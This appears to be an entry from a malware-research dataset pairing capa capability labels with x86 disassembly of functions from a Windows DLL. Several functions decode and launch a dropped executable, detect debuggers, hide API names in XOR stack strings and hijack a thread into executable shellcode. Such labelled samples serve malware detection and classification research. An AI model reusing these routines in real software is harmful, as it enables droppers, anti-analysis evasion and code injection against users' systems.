joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001240
Capabilities:
Create process on windows
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x850
and byte [ebp - 0x850], 0
push ebx
push esi
push edi
mov ecx, 0x200
xor eax, eax
lea edi, [ebp - 0x84f]
push 0
rep stosd dword es:[edi], eax
push 0x8000
push dword [0x1000482c]
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_fseek]
push dword [0x1000482c]
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
lea eax, [ebp - 0x850]
push 0x800
push 1
push eax
call ebx
mov esi, eax
add esp, 0x1c
cmp esi, 1
mov dword [ebp - 0xc], esi
jl 0x100013dd
push 0x1000415c
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 8]
push eax
call fcn.100011af
pop ecx
push eax
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 8]
call fcn.10001e0a
push str..EXE
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::operator
push 0x10004150
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
mov dword [ebp - 8], eax
pop ecx
push eax
mov eax, 0x398
pop eax
and byte [ebp - 0x4c], 0
push 0xf
pop ecx
xor eax, eax
lea edi, [ebp - 0x4b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [0x1000439c]
lea eax, [ebp - 0x4c]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [0x1000439c]
pop ecx
pop ecx
xor edi, edi
mov ecx, dword [eax - 8]
or eax, 0xffffffff
test esi, esi
jle 0x10001342
inc eax
cmp eax, ecx
jle 0x10001332
xor eax, eax
mov dl, byte [ebp + eax - 0x4c]
xor byte [ebp + edi - 0x850], dl
inc edi
cmp edi, esi
jl 0x1000132b
push dword [ebp - 8]
lea eax, [ebp - 0x850]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fwrite]
push 1
push eax
call esi
xor edi, edi
add esp, 0x10
cmp dword [ebp - 0xc], edi
jle 0x10001391
push dword [0x1000482c]
lea eax, [ebp - 0x850]
push 0x800
push 1
push eax
call ebx
push dword [ebp - 8]
mov edi, eax
lea eax, [ebp - 0x850]
push edi
push 1
push eax
call esi
add esp, 0x20
test edi, edi
jg 0x10001361
xor edi, edi
call dword [sym.imp.MSVCRT.dll_clock]
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
cmp ebx, 0x159
nop
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push eax
xor eax, 0x4a9
pop eax
push 0xc47
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
push edi
push edi
push edi
push dword [ebp - 4]
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 4]
call fcn.10001e0a
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100013e2
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x527
call dword [sym.imp.MSVCRT.dll_ispunct]
pop ecx
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExtSettings
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000142c
push 0x5fd
call dword [sym.imp.MSVCRT.dll_isspace]
mov dword [esp], str.D8D2F841_C4FC_4ADE_731A_56E6D1755624
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
cmp eax, 0x78d
nop
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x10001650
Capabilities:
Check for debugger via api
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x1001c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
call fcn.100015b0
test eax, eax
jne 0x1000174f
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [ebp - 8], 0
jne 0x1000174f
movaps xmm0, xmmword [str.x6_f__r]
xor eax, eax
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x28161711
mov dword [ebp - 0x24], 0x1d1b170a
mov word [ebp - 0x20], 0xb0b
mov byte [ebp - 0x1e], 0
mov cl, byte [ebp - 0x38]
xor byte [ebp + eax - 0x37], cl
inc eax
cmp eax, 0x19
jb 0x100016b7
push ebx
mov byte [ebp - 0x1c], 0xb
mov al, 0x65
xor al, byte [ebp - 0x1c]
mov bl, 0x67
mov ah, bl
mov byte [ebp - 0x1b], al
mov al, byte [ebp - 0x1c]
mov dl, 0x6f
mov bh, ah
mov byte [ebp - 0xd], ah
xor bl, al
mov byte [ebp - 0x12], 0
xor ah, al
mov byte [ebp - 0x1e], 0
xor bh, al
mov byte [ebp - 0x17], ah
mov dh, dl
mov byte [ebp - 0x18], bl
xor dl, al
mov byte [ebp - 0x14], bh
xor dh, al
mov byte [ebp - 0x19], dl
mov cl, 0x7f
mov byte [ebp - 0x15], dh
xor cl, al
mov byte [ebp - 0x12], 0
mov ch, 0x25
mov byte [ebp - 0x1a], cl
xor ch, al
mov al, byte [ebp - 0xd]
xor al, byte [ebp - 0x1c]
mov byte [ebp - 0x13], al
lea eax, [ebp - 0x37]
push eax
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x16], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop ebx
test eax, eax
je 0x10001757
push 0
push 4
lea ecx, [ebp - 0xc]
push ecx
push 7
push 0xffffffffffffffff
call eax
test eax, eax
je 0x10001757
cmp dword [ebp - 0xc], 0
je 0x10001757
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000fa90
mov esp, ebp
pop ebp
ret

Function at 0x10001770
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movaps xmm0, xmmword [0x10018000]
xor ecx, ecx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x776d4167
mov dword [ebp - 0x18], 0x7067766c
mov byte [ebp - 0x14], 0
mov al, byte [ebp - 0x2c]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x17
jb 0x10001795
mov byte [ebp - 0x14], 0
mov cl, 0x20
mov dword [ebp - 0x10], 0x52454b20
xor eax, eax
mov dword [ebp - 0xc], 0x134c454e
mov dword [ebp - 8], 0x4c440e12
mov word [ebp - 4], 0x4c
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xc
jae 0x100017d4
mov cl, byte [ebp - 0x10]
jmp 0x100017c5
lea eax, [ebp - 0x2b]
mov byte [ebp - 3], 0
push eax
lea eax, [ebp - 0xf]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.10007d30
cmp al, 0xe9
jne 0x10001800
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x100018b0
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov cl, 5
mov dword [ebp - 0x10], 0x71604205
mov dword [ebp - 0xc], 0x6e666c51
xor eax, eax
mov dword [ebp - 8], 0x6b706a46
mov word [ebp - 4], 0x71
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xc
jae 0x100018e4
mov cl, byte [ebp - 0x10]
jmp 0x100018d5
mov byte [ebp - 3], 0
mov cl, 0x6d
mov dword [ebp - 0x20], 0x1f08066d
xor eax, eax
mov dword [ebp - 0x1c], 0x5e010803
mov dword [ebp - 0x18], 0x109435f
mov word [ebp - 0x14], 1
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 0xc
jae 0x10001916
mov cl, byte [ebp - 0x20]
jmp 0x10001907
lea eax, [ebp - 0xf]
mov byte [ebp - 0x13], 0
push eax
lea eax, [ebp - 0x1f]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.10007d30
cmp al, 0xe9
jne 0x10001942
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x10001950
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1001c014]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x10017f50]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0xe
jb 0x10001970
mov byte [ebp - 0x19], 0
mov cl, 0x36
mov dword [ebp - 0x18], 0x64737d36
xor eax, eax
mov dword [ebp - 0x14], 0x57a7378
mov dword [ebp - 0x10], 0x5a521804
mov word [ebp - 0xc], 0x5a
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 0xc
jae 0x100019af
mov cl, byte [ebp - 0x18]
jmp 0x100019a0
lea eax, [ebp - 0x27]
mov byte [ebp - 0xb], 0
push eax
lea eax, [ebp - 0x17]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 1
lea ecx, [ebp - 5]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 5], 0xe9
mov ecx, dword [ebp - 4]
sete al
xor ecx, ebp
call fcn.1000fa90
mov esp, ebp
pop ebp
ret
Function at 0x10001a00
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100191b0
push 0x100104dd
mov eax, dword fs:[0]
push eax
add esp, 0xffffffc0
mov eax, dword [0x1001c014]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x48], 0
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10001a99
xor al, al
jmp 0x10001b22
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov byte [ecx], 0xc3
lea edx, [ebp - 0x20]
push edx
push 0x140
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001ac4
xor al, al
jmp 0x10001b22
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
push 0x10001b0f
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000fa90
mov esp, ebp
pop ebp
ret

Function at 0x10003490
Capabilities:
Create thread
Terminate process

Disassembly:
call fcn.1000bde0
mov dword [0x1001cbf4], eax
test eax, eax
je 0x100034a3
call fcn.1000bfd0
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10003170
push 0
push 0
mov dword [0x1001cb48], eax
mov dword [0x1001cb4c], edx
mov dword [0x1001cb50], eax
mov dword [0x1001cb54], edx
call esi
mov ebx, eax
test ebx, ebx
jne 0x100034e7
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
push 0
push 0
push 0x10003410
push 0
push 0
call esi
mov edi, eax
test edi, edi
jne 0x10003506
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push ebx
call esi
push 0xffffffffffffffff
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebx
ret
Function at 0x100068a0
Capabilities:
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movaps xmm0, xmmword [0x10017f80]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
push esi
movaps xmm0, xmmword [str._v_r_fH]
movups xmmword [ebp - 0x24], xmm0
movaps xmm0, xmmword [0x10017f60]
movups xmmword [ebp - 0x14], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x100068d0
push 0
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], 0
push eax
push 0
push 0x1001cb68
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x100069bc
push 0x1001cb64
push 0
push 0
push 0x8004
push dword [0x1001cb68]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100069bc
movaps xmm0, xmmword [0x10017fb0]
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x28702621
movaps xmm0, xmmword [0x10018030]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x22743200
movaps xmm0, xmmword [0x10018020]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x61303a15
mov word [ebp - 4], 0x3d
nop
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x10006960
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], 0
push eax
push dword [0x1001cb64]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x100069bc
push 0x1001cb60
push 0x800000
push dword [0x1001cb64]
push 0x6801
push dword [0x1001cb68]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x100069bc
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x1001cb5c], eax
call fcn.1000e6e0
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.1000ebb0
push 0x10006780
push 0x1001cb58
call fcn.1000e3f0
call fcn.1000e740
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10006a2a
mov dword [0x1001cb58], 0x60f6e0
call fcn.1000e6e0
call esi
push eax
call fcn.1000ebb0
push 0x10006780
push 0x1001cb58
call fcn.1000df60
call fcn.1000e740
call fcn.1000e6e0
call esi
push eax
call fcn.1000ebb0
push 0x100067b0
push 0x1001cb44
call fcn.1000e3f0
call fcn.1000e740
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10006a87
mov dword [0x1001cb44], 0x60eab0
call fcn.1000e6e0
call esi
push eax
call fcn.1000ebb0
push 0x100067b0
push 0x1001cb44
call fcn.1000df60
call fcn.1000e740
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10008310
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov byte [ebp - 0x1c], 0x78
mov al, 0x2f
xor al, byte [ebp - 0x1c]
mov cl, 0x2b
xor cl, byte [ebp - 0x1c]
mov ah, 0x4b
mov byte [ebp - 0x1b], al
mov dl, 0x4a
mov byte [ebp - 0x1a], cl
mov ch, dl
mov cl, byte [ebp - 0x1c]
mov dh, 0x56
mov byte [ebp - 1], 0x14
xor ah, cl
mov al, byte [ebp - 1]
xor dl, cl
xor al, cl
mov byte [ebp - 2], 0x14
mov byte [ebp - 0x13], al
xor ch, cl
mov al, byte [ebp - 2]
xor dh, cl
xor al, cl
mov byte [ebp - 0x17], ah
mov byte [ebp - 0x12], al
mov bl, 0x27
mov bh, 0x1c
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x19], dl
xor bl, cl
mov byte [ebp - 0x16], ch
xor bh, cl
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x15], dh
mov byte [ebp - 0x14], bh
mov byte [ebp - 0x11], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x10008391
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ah, 0x20
mov byte [ebp - 0xb], 0
mov al, 0x53
mov byte [ebp - 0x10], ah
xor al, ah
mov byte [ebp - 0xb], 0
mov cl, 0x45
mov byte [ebp - 0xf], al
mov dl, 0x4e
mov bl, 0x44
xor cl, ah
xor dl, ah
xor bl, ah
mov byte [ebp - 0xe], cl
lea eax, [ebp - 0xf]
mov byte [ebp - 0xd], dl
push eax
push esi
mov byte [ebp - 0xc], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10008389
mov ecx, eax
call fcn.10007d30
cmp al, 0xe9
je 0x10008389
mov bh, 2
mov byte [ebp - 8], 0
mov al, 0x55
mov byte [ebp - 0x10], bh
mov ah, 0x67
mov byte [ebp - 8], 0
xor al, bh
xor ah, bh
mov cl, 0x51
mov byte [ebp - 0xf], al
mov byte [ebp - 0xb], ah
mov bl, cl
lea eax, [ebp - 0xf]
mov dl, 0x43
mov ch, 0x6c
mov dh, 0x66
push eax
xor cl, bh
xor dl, bh
xor ch, bh
mov byte [ebp - 0xe], cl
xor dh, bh
mov byte [ebp - 0xd], dl
xor bl, bh
mov byte [ebp - 0xa], ch
push esi
mov byte [ebp - 0xc], bl
mov byte [ebp - 9], dh
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop esi
pop ebx
test eax, eax
je 0x1000842e
mov ecx, eax
call fcn.10007d30
cmp al, 0xe9
jne 0x10008436
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x10009760
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1001c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x6d12c0
call fcn.10007d30
cmp al, 0xe9
jne 0x10009786
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 4
push 0x6d12c0
call esi
test eax, eax
jne 0x100097c9
mov dword [0x1001cb84], 0x6d12c0
call fcn.1000e6e0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.1000ebb0
push 0x100085e0
push 0x1001cb84
call fcn.1000df60
call fcn.1000e740
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x6d141e
push eax
call esi
test eax, eax
jne 0x1000980d
push 4
push 0x10008570
call esi
test eax, eax
jne 0x1000980d
call fcn.1000e6e0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.1000ebb0
push 0x10008570
lea eax, [ebp - 8]
push eax
call fcn.1000df60
call fcn.1000e740
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1000fa90
mov esp, ebp
pop ebp
ret
Function at 0x10009990
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x1001c014]
xor eax, esp
mov dword [esp + 0x38], eax
movaps xmm0, xmmword [0x10017fc0]
xor ecx, ecx
mov eax, dword [0x1001cbec]
push ebx
push esi
push edi
mov edi, dword [0x1001cbe8]
mov dword [esp + 0xc], edi
mov dword [esp + 0x24], eax
movups xmmword [esp + 0x10], xmm0
mov byte [esp + 0x20], 0
nop dword [eax]
mov al, byte [esp + 0x10]
xor byte [esp + ecx + 0x11], al
inc ecx
cmp ecx, 0xf
jb 0x100099d0
sub esp, 0x18
mov byte [esp + 0x38], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [esp + 0x29], 0
jne 0x10009a04
xor ecx, ecx
jmp 0x10009a19
lea ecx, [esp + 0x29]
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10009a10
sub ecx, esi
push ecx
lea eax, [esp + 0x2d]
mov ecx, edx
push eax
call fcn.10003f20
lea ecx, [esp + 0x44]
call fcn.1000cb40
mov edx, dword [esp + 0x44]
add esp, 0x18
xor ebx, ebx
test edi, edi
mov edi, dword [esp + 0x40]
jle 0x10009a7e
cmp edi, 0x10
lea ecx, [esp + 0x2c]
cmovae ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10009a50
sub ecx, esi
mov eax, ebx
cmp edi, 0x10
lea esi, [esp + 0x2c]
cmovae esi, edx
xor edx, edx
div ecx
mov ecx, dword [esp + 0x24]
mov al, byte [edx + esi]
xor byte [ecx + ebx], al
inc ebx
mov edx, dword [esp + 0x2c]
cmp ebx, dword [esp + 0xc]
jl 0x10009a40
cmp edi, 0x10
jb 0x10009a8d
lea eax, [edi + 1]
push eax
push edx
call fcn.10004690
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000fa90
mov esp, ebp
pop ebp
ret
Function at 0x1000bde0
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x1001c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x78
mov dword [ebp - 0x2f8], 0x140c2a78
mov dword [ebp - 0x2f4], 0x1c191734
xor eax, eax
mov dword [ebp - 0x2f0], 0x110a0c2b
mov word [ebp - 0x2ec], 0x1f16
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1000be3a
mov cl, byte [ebp - 0x2f8]
jmp 0x1000be25
push ebx
mov byte [ebp - 0x2e8], 0xb
mov al, 0x65
xor al, byte [ebp - 0x2e8]
mov bl, 0x67
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x6f
mov bh, ah
mov byte [ebp - 0x2d9], ah
xor bl, al
mov byte [ebp - 0x2de], 0
xor ah, al
mov byte [ebp - 0x2ea], 0
xor bh, al
mov byte [ebp - 0x2e3], ah
mov dh, dl
mov byte [ebp - 0x2e4], bl
xor dl, al
mov byte [ebp - 0x2e0], bh
xor dh, al
mov byte [ebp - 0x2e5], dl
mov cl, 0x7f
mov byte [ebp - 0x2e1], dh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x25
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2f7]
push esi
push eax
lea eax, [ebp - 0x2e7]
mov byte [ebp - 0x2e2], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x1000bf01
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000fa90
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000beef
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000beef
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1000beef
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000beef
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001b40
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000beef
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.1000fa90
mov esp, ebp
pop ebp
ret
Function at 0x1000bfd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movaps xmm0, xmmword [0x10018010]
xor eax, eax
push esi
mov esi, dword [0x1001cbf4]
push edi
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x706a566c
mov dword [ebp - 0x18], 0x666367
nop dword [eax]
mov cl, byte [ebp - 0x2c]
xor byte [ebp + eax - 0x2b], cl
inc eax
cmp eax, 0x16
jb 0x1000c000
push ebx
mov byte [ebp - 0x14], 0x20
mov al, 0x4e
xor al, byte [ebp - 0x14]
mov bl, 0x4c
mov ah, bl
mov byte [ebp - 0x13], al
mov al, byte [ebp - 0x14]
mov dl, 0x44
mov bh, ah
mov byte [ebp - 1], ah
xor bl, al
mov byte [ebp - 0xa], 0
xor ah, al
mov byte [ebp - 0x15], 0
xor bh, al
mov byte [ebp - 0xf], ah
mov dh, dl
mov byte [ebp - 0x10], bl
xor dl, al
mov byte [ebp - 0xc], bh
xor dh, al
mov byte [ebp - 0x11], dl
mov cl, 0x54
mov byte [ebp - 0xd], dh
xor cl, al
mov byte [ebp - 0xa], 0
mov ch, 0xe
mov byte [ebp - 0x12], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x14]
mov byte [ebp - 0xb], al
lea eax, [ebp - 0x2b]
push eax
lea eax, [ebp - 0x13]
mov byte [ebp - 0xe], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
pop ebx
test edi, edi
jne 0x1000c08a
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x11
test esi, esi
jne 0x1000c0a8
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
test eax, eax
pop edi
sete al
pop esi
mov esp, ebp
pop ebp
ret
push esi
call edi
test eax, eax
pop edi
sete al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000cb40
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012588
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1001c014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x84], 0
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x7c]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
call fcn.1000c8d0
lea ecx, [ebp - 0x7c]
call fcn.1000c980
push esi
lea ecx, [ebp - 0x7c]
call fcn.1000ca70
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x1000cbe7
inc ecx
push ecx
push dword [ebp + 8]
call fcn.10004690
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000fa90
mov esp, ebp
pop ebp
ret